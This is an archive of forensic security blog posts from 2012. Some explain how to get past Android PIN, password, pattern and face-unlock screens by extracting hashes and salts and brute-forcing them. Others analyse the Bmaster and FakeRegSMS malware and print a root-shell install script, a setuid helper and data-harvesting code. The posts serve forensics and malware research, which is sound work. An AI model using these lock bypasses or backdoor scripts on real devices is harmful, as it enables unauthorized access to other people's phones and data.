Archive for February, 2012

Cracking PIN and Password Locks on Android

Tuesday, February 28th, 2012

As you may know it is possible to get around the pin and password lock on an Android smartphone. In this post we will describe the following two ways to get around it:

  • on a rooted smartphone
  • with the help of the JTAG interface

Some Background Information

Since version 2.2 Android provides the option of a numeric PIN or alphanumeric password as an alternative to screen lock. Both pass phrases are required to be between 4 and 16 digits or characters in length.


Android stores this pattern in a special file called password.key in /data/system/. As storing the pattern in plain text wouldn't be very save, this time Android stores an salted SHA1-hashsum and MD5-hashsum of the PIN or password. The numeric PIN and the alphanumeric passwords are processed in the same way (see the following code snippet).

 public byte[] passwordToHash(String password) {
        if (password == null) {
            return null;
        String algo = null;
        byte[] hashed = null;
        try {
            byte[] saltedPassword = (password + getSalt()).getBytes();
            byte[] sha1 = MessageDigest.getInstance(algo = "SHA-1").digest(saltedPassword);
            byte[] md5 = MessageDigest.getInstance(algo = "MD5").digest(saltedPassword);
            hashed = (toHex(sha1) + toHex(md5)).getBytes();
        } catch (NoSuchAlgorithmException e) {
            Log.w(TAG, "Failed to encode string because of missing algorithm: " + algo);
        return hashed;

Due to the fact that the hash is salted this time, its unfeasible to crack the password with help of a dictionary attack. For cracking the password it is important to get the salt and enough time for attempting a brute force attack. The salt is a string of the hexadecimal representation of a random 64-bit integer. To get this salt, there are two ways from which you can choose.

On a Rooted Smartphone:

If you deal with a rooted smartphone and USB debugging is enabled, cracking of the pattern lock is quite simple. You just have to dump the file /data/system/password.key and the salt, which is stored in a SQLite database under the lockscreen.password_salt key. The corresponding database can be found in /data/data/ and is called settings.db (see the figure below). After you got both information you just need to start brute forcing the password.

With the Help of the JTAG Interface:

If you deal with a stock or at least unrooted smartphone this whole process is a bit more complicated. First of all, you need special hardware like a Riff-Box and an JIG-adapter or some soldering skills. After you have gained a physical dump of the complete memory chip the chase for the password lock can start. To find the hashsums of the passphrase you need to have the following points in mind:

  • The dump of the memory is broken into chunks of 2048 bytes
  • The password.key file contains two hashes, together 72 bytes long:
    • a SHA-1 hash (20 bytes long)
    • a MD5 hash (16 bytes long)
  • These hashes only contain the characters 0-9 and A-F
  • The following 1960 bytes of the chunk are zeros
  • The remaining 16 bytes of the chunk are random

Finding the SQLite-database an the salt in it is way harder as finding the hashes. As SQLite stores all data in plain text we have one first reference point - the lockscreen.password_salt string. When we find this string in our dump, we should be very close to the actual salt. At this point it is important to understand the SQLite-File-Format.

Using this information we can create two rulesets to find the position of the salt as well as the actual salt (refer to the figure below for a better understanding):

  • Search for the string "lockscreen.password_salt".
  • The byte directly in front has to be between 0x0F and 0x35. This byte represents the length of our salt and is called byteA for a better understanding of the rest of this article.
  • In front of this byte, there has to be a byte with 0x3D (indicates a serial type representing a string with a length of 24). This is the length of our string we searched for.
  • In front of this byte has to be a zero byte

If the first ruleset applies, we have found the right position in our dump and we can now start to extract the salt.

  • Decoding byteA gives us the length of the salt and has to between 1 and 20 bytes.
  • Now we have to extract this amount of bytes directly after the string "lockscreen.password_salt"
  • These bytes are the salt!

After we got both information (hashes and salt) we can again start our brute force attack! In our test we could crack PIN's (with up to 10 digits) and simple passwords (with up to 5 chars) within one hour.

Cracking the Pattern Lock on Android

Tuesday, February 28th, 2012

As you maybe know it is very easy to get around the pattern lock on an Android smartphone. In this post we will describe the following two ways to get around it:

  • on a rooted smartphone
  • with the help of the JTAG interface

Some Background Information

The pattern lock is entered by the user joining points on a 3×3 matrix in his/her chosen order. Since Android 2.3.3 this pattern must involve a minimum of 4 points (on older Android versions the minimum was 3 points) and each point can only be used once. The points of the matrix are registered in a numbered order starting by 0 in the upper left corner and ending by 8 in the bottom right corner. So the pattern of the lock screen in the next figure would be 0 - 3 - 6 - 7 - 8.


Android stores this pattern in a special file called gesture.key in /data/system/. As storing the pattern in plain text wouldn't be very save, Android only stores an unsalted SHA1-hashsum of this pattern (see the code snippet afterwards). Accordingly, our pattern is stored as c8c0b24a15dc8bbfd411427973574695230458f0.

private static byte[] patternToHash(List pattern) {
    if (pattern == null) {
        return null;

    final int patternSize = pattern.size();
    byte[] res = new byte[patternSize];
    for (int i = 0; i < patternSize; i++) {
        LockPatternView.Cell cell = pattern.get(i);
        res[i] = (byte) (cell.getRow() * 3 + cell.getColumn());
    try {
        MessageDigest md = MessageDigest.getInstance("SHA-1");
        byte[] hash = md.digest(res);
        return hash;
    } catch (NoSuchAlgorithmException nsa) {
        return res;

Due to the fact, that the pattern has a finite and very small number of possible combinations the use of an unsalted hash isn't very save. It is possible to generate a dictionary (rainbow table) with all possible hashes and compare the stored hash with that dictionary in a few seconds. To assure some more safety, Android stores the gesture.key file in a restricted area of the filesystem where a normal user can't access it. If you have to get around it, there are two ways from which you can choose.

On a Rooted Smartphone:

If you deal with a rooted smartphone and USB debugging is enabled, cracking of the pattern lock is quite easy. You just have to dump the file /data/system/gesture.key and compare the bytes of this file with your dictionary. If the smartphone is rooted but USB debugging is disabled, you just need to google a bit, there are plenty ways to enable debugging from outside the phone.

With the Help of the JTAG Interface:

If you deal with a stock or at least unrooted smartphone this whole process is a bit more complicated. First of all, you need special hardware like a Riff-Box and an JIG-adapter or some soldering skills. After you have gained a physical dump of the complete memory chip the chase for the pattern lock can start. In our experiment we used a HTC Wildfire with a custom ROM and Android 2.3.3 flashed on it and the pattern lock from the beginning of this post. After looking at the dump, we noticed that every chunk has an exact size of 2048 bytes. Since we know that our gesture.key file has 20 bytes of data (SHA1-hashsum) we searched for this combination of bytes and noticed, that there is one chunk starting with this 20 bytes followed by 2012 bytes of zeros and about 16 random bytes (seems to be some meta filesystem information). We did the same search on several other smartphone dumps (mainly older Android versions on the same phone) and it came out, that this method is the easiest way to get the pattern lock without being root.

In other words:

  • try to get a physical dump of the complete memory
  • search for a chunk with a size of 2048 bytes, starting with 20bytes random, followed by 2012 bytes zeros and 16 bytes random
  • extract that 20 bytes random at the beginning of the chunk
  • compare these 20 bytes with your dictionary
  • type in the corresponding pattern on the smartphone itself

We also included this functionality and a dictionary in our forensic toolkit ADEL.

Cracking the Face Recognition Lock on Android

Tuesday, February 28th, 2012

Since Android 4.0 is available, the user has the possibility to unlock his smartphone by looking in the front-camera. This feature is called face unlock.

Just some hours after Google has presented the new Android version including this feature, it was broken by some blogger who just hold a picture of the person the smartphone belongs to in front of the locked smartphone. As a proof, there are plenty videos on youtube. With this demonstration in mind, you have to come to the conclusion that face recognition isn't a real lock feature, its more a fancy way of the old screen lock were you just have to swipe over the display.

In all fairness, Google did mention that face unlock is less secure than a pattern, pin or password and that someone that looks similar to you could unlock your phone, but they didn't mention, that it is so easy to unlock it.

In other words:

  • just take a picture of the smartphone owner
  • hold this picture in front of the smartphone when unlocking it

Detailed Analysis of Android.Bmaster

Sunday, February 12th, 2012

Intro: What is Android.Bmaster?

This new malware-family emerged some weeks ago in third-party Chinese Android-Markets. This malware is taking advantage of the GingerBreak exploit to gain root privileges. This exploit is not embedded into the application, instead it is dynamically downloaded from a remote server together with other malicious apps. This kind of behaviour is similar to an earlier proof-of-concept application called RootStrap, developed by Jon Oberheide back in May 2011.

Android.Bmaster is also known as RootSmart. This name was given to the malware by Xuxian Jiang who found and reported the first samples in the wild.

Analysis of the Application and Its Structure

The app requests the following permissions:

  • android.permission.ACCESS_WIFI_STATE
  • android.permission.CHANGE_WIFI_STATE
  • android.permission.BLUETOOTH
  • android.permission.BLUETOOTH_ADMIN
  • android.permission.WRITE_APN_SETTINGS
  • android.permission.READ_SYNC_SETTINGS
  • android.permission.WRITE_SYNC_SETTINGS
  • android.permission.GET_ACCOUNTS
  • android.permission.VIBRATE
  • android.permission.FLASHLIGHT
  • android.permission.HARDWARE_TEST
  • android.permission.WRITE_SECURE_SETTINGS
  • android.permission.READ_SECURE_SETTINGS
  • android.permission.CAMERA
  • android.permission.MODIFY_PHONE_STATE
  • android.permission.READ_PHONE_STATE
  • android.permission.INTERNET
  • android.permission.RECEIVE_BOOT_COMPLETED
  • android.permission.SYSTEM_ALERT_WINDOW
  • android.permission.GET_TASKS
  • android.permission.CHANGE_CONFIGURATION
  • android.permission.WAKE_LOCK
  • android.permission.DEVICE_POWER
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.RESTART_PACKAGES
  • android.permission.DELETE_CACHE_FILES
  • android.permission.ACCESS_CACHE_FILESYSTEM
  • android.permission.READ_OWNER_DATA
  • android.permission.WRITE_OWNER_DATA
  • android.permission.WRITE_SECURE_SETTINGS
  • android.permission.WRITE_SETTINGS
  • android.permission.MOUNT_UNMOUNT_FILESYSTEMS
  • android.permission.READ_LOGS

After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, ACTION_SHUTDOWN, PACKAGE_ADDED or NEW_OUTGOING_CALL).

As far as we could detect, you can find all listeners and the corresponding intents afterwards:

  • WcbakeLockReceivecr: USER_PRESENT
  • BcbootReceivecr: BOOT_COMPLETED
  • ScbhutdownReceivecr: ACTION_SHUTDOWN
  • PcbackageAddedReceivecr: PACKAGE_ADDED

After decompiling the dex-file we can see that the application consist of three packages:

  • a - seems to be a SOAP library
  • - the malicious part
  • com.bwx.bequick - the benign part

The Malicious Actions:

  • The app checks if the smartphone is exploitable and if it has been exploited by the app before
  • The application downloads a zip-file (containing an exploit and two helper scripts).
  • Afterwards the malware roots the smartphone and downloads a remote administration tool (RAT) for Android devices.
  • It then connects regularly to the remote server to get new commands to execute (like downloading and installing new apps).

Check Exploit State:

After the application receives a BOOT_COMPLETED event the BcbootReceivecr is called. This receiver broadcasts a new action called action.boot. This action sets an alarm to 60 seconds. After this time periode a new action action.check_live will be broadcasted and the method b.a() will be called.

In this method the OS version is checked against “2.3.4″ and also the existence of a file called shells is checked. If The Android version is smaller than 2.3.4 and the shells-file is not existing, the application calls the method i.a() which we will examine in the next section.

if ((Build.VERSION.RELEASE.compareTo("2.3.4") >= 0) || (s.e())){
   if (!this.a.getFileStreamPath("shells").exists()){
      new i(this.a).a();

Downloading the Exploit:

You can find the encrypted URL inside the file res/raw/data_3 (ED04FB6CD722B63EF117E92215337BC7358FB64F4166F4EC40C40D21E92F9036). When we decrypt this string using a fixed seed number(stored in the Android manifest file) and provide this number to the Java random number generator, we get the first part of our URL:

When appending the string from the method i.a() to our decrypted URL we get the real download link:

After the malware has downloaded this file, it checks if the md5 is equal to 6bb75a2ec3e547cc5d2848dad213f6d3. Inside this zip-file are three files (install, installapp and exploit) which we will look at in the next paragraphs.

The first file is called install. This script remounts the filesystem in read-write mode and creates a new directory afterwards (/system/xbin/smart). Inside this directory the script creates a root shell and then the filesystem is remounted read-only:

mount -o remount system /system
mkdir /system/xbin/smart
chown $1 /system/xbin/smart
chmod 700 /system/xbin/smart
cat /system/bin/sh > /system/xbin/smart/sh
chown 0.0 /system/xbin/smart/sh
chmod 4755 /system/xbin/smart/sh
mount -o remount,ro system /system

The second script is called installapp. This script is a helper script which is able to write a file anywhere in the filesystem and is able to grant the +s mode to this file:

mount -o remount system /system
cat $1 > $2
chown 0.0 $2
chmod 4755 $2
mount -o remount,ro system /system

The last file in this zip-file is called exploit. It's a GingerBreak version which was compiled out-of-the-box.

Rooting the Smartphone:

In the method f.a() the app executes the helper scripts and exploits the device. Therefore it checks the ExternalStorageState, unpacks the zip-file with the help of the method s.a() and changes the access rights of the files exploit and install to 755. After executing this two files through McbainServicce.class Boolean a() the application deletes some files and tries to clean up:

if ((!str1.equals("mounted")) && (!str1.equals("mounted_ro"))){
   j = 0;
   if ((j == 0) || (!this.a.a.d()))
   str2 = this.a.getApplicationContext().getFileStreamPath("shells").getAbsolutePath();
   if (!new File(str2).exists())
   str3 = this.a.getApplicationContext().getFileStreamPath("exploit").getAbsolutePath();
   str4 = this.a.getApplicationContext().getFileStreamPath("install").getAbsolutePath();
   if (!new File(str3).exists())
      this.a.a.a(str2, "exploit");
   if (!new File(str4).exists())
      this.a.a.a(str2, "install");
   StringBuilder localStringBuilder1 = new StringBuilder("chmod 775 ");
   localStringBuilder1.append(str3).append(" ").append(str4);
   boolean bool1 = this.a.a(localStringBuilder1.toString());
   if (!bool1){
      this.a.a.a.a(i + 1);
      if (s.e()){
      j = 1;
      break label45;

Due to this process the app is able to install its own shell into the system. With the help of this shell, the app is able to install new packages silently. If the whole rooting process fails, the app will also try to download and install new packages. In this case the system will display a pop-up message to the user and waits for approval.

The Network Action:

The infected smartphone communicates with a remote server and sends a SOAP request to this server when connecting. This request contains a lot of privacy critical information like location, IMEI, IMSI and exact type of smartphone the app is running on (see the excerpt of method g.b() below). After the server responded to this request the smartphone connects regularly to the server to receive further commands.

public final String b(){
   StringBuilder localStringBuilder = new StringBuilder();
   localStringBuilder.append(w.a("IMEI", this.c.getString("IMEI", "")));
   localStringBuilder.append(w.a("IMSI", this.c.getString("IMSI", "")));
   localStringBuilder.append(w.a("TYPE_TEL", this.c.getString("TYPE_TEL", "")));
   localStringBuilder.append(w.a("VERSION_TEL", this.c.getString("VERSION_TEL", "")));
   localStringBuilder.append(w.a("CID", this.c.getString("CID", "")));
   localStringBuilder.append(w.a("LAC", this.c.getString("LAC", "")));
   localStringBuilder.append(w.a("MNC", this.c.getString("MNC", "")));
   String str1 = this.c.getString("SMS_CENTER", null);
   if (str1 != null)
      localStringBuilder.append(w.a("SMS_CENTER", str1));
   String str2 = this.c.getString("INSTALL_TYPE", null);
   if (str2 != null)
      localStringBuilder.append(w.a("INSTALL_TYPE", str2));
   localStringBuilder.append(w.a("PID", this.c.getString("PID", "")));
   localStringBuilder.append(w.a("PACKAGE_ID", this.c.getString("PACKAGE_ID", "")));
   localStringBuilder.append(w.a("PACKAGE_LEVEL", this.c.getString("PACKAGE_LEVEL", "")));
   localStringBuilder.append(w.a("VERSION_USER", this.c.getString("VERSION_USER", "")));
   localStringBuilder.append(w.a("VERSION_OWN", this.c.getString("VERSION_OWN", "")));
   localStringBuilder.append(w.a("PACKAGE_NAME", this.c.getString("PACKAGE_NAME", "")));
   return localStringBuilder.toString();

Some Information About the Corresponding Botnet:

According to Symantec the size of the botnet is between 10.000 and 30.000 active devices which are able to generate a revenue between 1.600 and 9.000 USD per day. Another discovery from Symantec was, that the bonnet is running since September 2011 and is able to push about 27 different malicious apps to an infected device.

Sample Information:



Mobile-Sandbox Report

Detailed Analysis of Android.FakeRegSMS.B

Friday, February 3rd, 2012

Intro: What is Android.FakeRegSMS.B?

This new malware-family emerged some weeks ago in an unofficial Android-Market. It sends SMS messages to premium rated numbers and tries to hide this action from the malware investigators by using some kind of steganography.

After investigating the app, we would declare this app more as FRAUD than as real MALWARE, because the user gets a "Rules" button where he/she can see that the service will send a SMS message to a premium service.

Analysis of the Application and Its Structure

The app requests the following permission:

  • android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. (The icon was pixelated due to its content)

The interesting part of the application: Steganography!

The first hint that this app is doing something "strange" appears when you look at the following lines:

byte[] arrayOfByte2 = localByteArrayOutputStream1.toByteArray();
int k = paramInt + (-4 + new String(arrayOfByte2).indexOf("tEXt"));
if (k < 0)
   throw new IOException("Chank tEXt not found in png");

Here it seems, that the app is searching for a special string inside a png-picture-file. After searching in the MainActivity we could extract the filename of this png-picture and the responsible lines of code:

invoke-virtual {p0}, Landroid/app/Activity;->getAssets()Landroid/content/res/AssetManager;
move-result-object v0
const-string v2, "icon.png"
invoke-virtual {v0, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v1
iget-object v0, p0, Lcom/termate/MainActivity;->d:Lcom/termate/a;

The picture that the app tries to load into a byte array, is the application's icon which can be found in different resolutions in the directories listed afterwards:

  • /res/drawable-hdpi/icon.png
  • /res/drawable-mdpi/icon.png
  • /res/drawable-ldpi/icon.png

When looking at these files with a hex editor we can locate the "tEXt" chunk very quickly. This chunk of data is identical within all of these three png-files. The binary data can be seen in the next picture:

Normally, this chunk is only allowed to contain printable Latin-1 characters and spaces. In our case there is binary data which looks very suspicious under this circumstances. When looking again in the code of the class-file we can find the following code snippet:

ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
for (int i1 = i; ; i1++)
      int i2 = (byte);
      if (i2 == -1)
      localByteArrayOutputStream2.write(i2 ^ "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".charAt(i1 % "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".length()));

These code snippet shows that the app is reading every single byte of the tEXt chunk and is doing a XOR operation with a hardcoded key: f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43

To get the unobfuscated values of the tEXt chunk we are using the python script below.

key = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43"
length = len(key)
obfuscatedData = "\x66\x5E\x2B\x7E\x45\x5E\x56\x48\x05\x10\x70\x07\x09\x32\x25\x75\x12\x75\x62\x41\xD2\x20\x60\x68\x31\x05\x56\x19\x13\x51\x40\x12\x0E\x4C\x24\x20\x11\x72\x38\x5E\x07\x27\x79\x12\x00\x19\x03\x1B\x40\x6E\x2F\x33\x35\x53\x54\x34\x4C\x44\x5A\x22\x2B\x53\x12\x24\x51\x1A\x5A\x1C\x66\x37\x02\x53\x70\x23\x2B\x42\x4F\x01\x40\x7F\x0F\x32\x42\x03\x21\x09\x14\x01\x5B\x44\x40\x36\x09\x04\x15\x70\x13\x44\x5B\x32\x29\x53\x22\x0D\x54\x16\x4A\x68\x64\x05\x06\x66\x47\x50\x49\x52\x64\x13\x40\x52\x66\x7E\x47\x42\x49\x5B\x54\x5E\x04\x10\x78\x0B\x04\x04\x18\x77\x12\x76\x65\x72\x7C\x17\x52\x59\x0E\x4E\x07\x5F\x53\x06\x05\x51\x76\x13\x48\x15\x70\x8F\x09"
unObfuscatedData = ""
for x, y in enumerate(obfuscatedData):
    keyIndex = x % length
    unObfuscatedData = unObfuscatedData + chr(ord(y) ^ ord(key[keyIndex]))
print "unobfuscated data: " + unObfuscatedData

After running this small python script we receive the following output:

420 100485111? requestNo1 maxRequestNoauto costLimit150 costLimitPeriod8640 smsDelay15 smsData!l5872600885697126387416947526760l4P?=

With this unobfuscated strings, the following few lines of code of the class-file make some more sense:

if (i < i5){
   String str;
      str = localDataInputStream2.readUTF();
      if (str.equals("costLimit")){
         this.d = Integer.parseInt(localDataInputStream2.readUTF());
         break label519;
      if (str.equals("costLimitPeriod"))
         this.e = Integer.parseInt(localDataInputStream2.readUTF());
   catch (IOException localIOException){
      break label519;
      if (str.equals("smsData"))
         this.f = localDataInputStream2.readUTF();
   catch (NumberFormatException localNumberFormatException){
   if (str.equals("smsDelay"))
      this.h = Integer.parseInt(localDataInputStream2.readUTF());
      this.g.put(str, localDataInputStream2.readUTF());

With the output of our python script we get some values for the variables used in the code snippet above:

  • costLimit = 150
  • costLimitPeriod = 8640
  • smsData = l5872600885697126387416947526760l
  • smsDelay = 15

Looking again in our class-file we can extract this code snippet indicating that the application is trying to send a SMS message:

private static boolean a(String paramString1, String paramString2){
      SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, null, null);
      return true;
   catch (Exception localException){
      while (true)
         Log.e("Logic", "Error sending sms", localException);

After we found all these data, we were running the app in the Android emulator to proof our assumptions. When pushing the "Next" button in the main UI (see the picture in the middle of the first figure) the emulator logs an outgoing SMS message:

Decoding the PDU message in this figure we get the following information which is in conformity with our data we encoded from the tEXt chunk of the png-picture:

  • Receipient: 5111
  • Message: 420 10048 l5872600885697126387416947526760l0100

After some investigation, we think that the phone numer 5111 belongs to a service called smscoin, allowing users to donate money to another user via SMS messages. Looking at the "Rules" of the app, the amount of money the user donates to the app author ( is between 15 and 400 Russian ruble.

Sample Information:



Mobile-Sandbox Report